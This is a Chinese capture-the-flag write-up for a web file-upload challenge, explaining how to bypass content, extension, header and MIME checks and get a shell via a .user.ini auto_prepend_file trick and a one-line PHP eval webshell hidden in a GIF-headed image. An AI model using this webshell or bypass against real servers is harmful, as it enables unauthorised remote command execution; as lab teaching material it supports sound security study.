攻防世界-web-ctf-upload

题目场景

查看源码

毫无有效的数据

官方WriteUp

本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

检查文件内容是否有php字符串

检查后缀中是否有htaccess或ph

检查文件头部信息

文件MIME类型

对于第一点可以利用短标签绕过,例如<?=phpinfo();?>

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,可以参考以下文章

.user.ini文件构成的PHP后门 - phith0n

在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。

这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。

其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

第四点绕过方法即修改上传时的Content-Type

因此最终的payload为:

上传.user.ini,内容为

GIF89a

auto_prepend_file=a.jpg

上传a.jpg,内容为

GIF89a

<?=eval($_POST['cmd']);?>

BP抓包

上传.user.ini

再上传a.jpg

F12查看文件去向

蚁剑连接

找到flag

相关推荐
数字供应链安全产品选型1 天前
AI造“虾”易,治理难?悬镜多模态 SCA 技术破局 AI 数字供应链治理困局!
人工智能·安全·网络安全·ai-native
ALex_zry1 天前
gRPC服务熔断与限流设计
c++·安全·grpc
kang0x01 天前
Night Coder - Writeup by AI
安全
紫金桥软件1 天前
国产化 + 跨平台,紫金桥组态软件夯实新能源企业“自主底座”
安全·scada·组态软件·国产工业软件·监控组态软件
小快说网安1 天前
高防 IP 的 “防护上限”:带宽、清洗能力、防御类型如何匹配业务需求
网络·tcp/ip·安全
星幻元宇VR1 天前
VR旋转蛋椅:沉浸式安全科普新体验
科技·学习·安全·vr·虚拟现实
祭曦念1 天前
越权漏洞的克星!用爬虫自动化检测平行越权/垂直越权漏洞
爬虫·安全·自动化
╰つ栺尖篴夢ゞ1 天前
Web之深入解析Cookie的安全防御与跨域实践
前端·安全·存储·cookie·跨域
Never_Satisfied1 天前
安全属性标志详解:HTTPOnly
安全
无名的小三轮1 天前
nmap使用手册
安全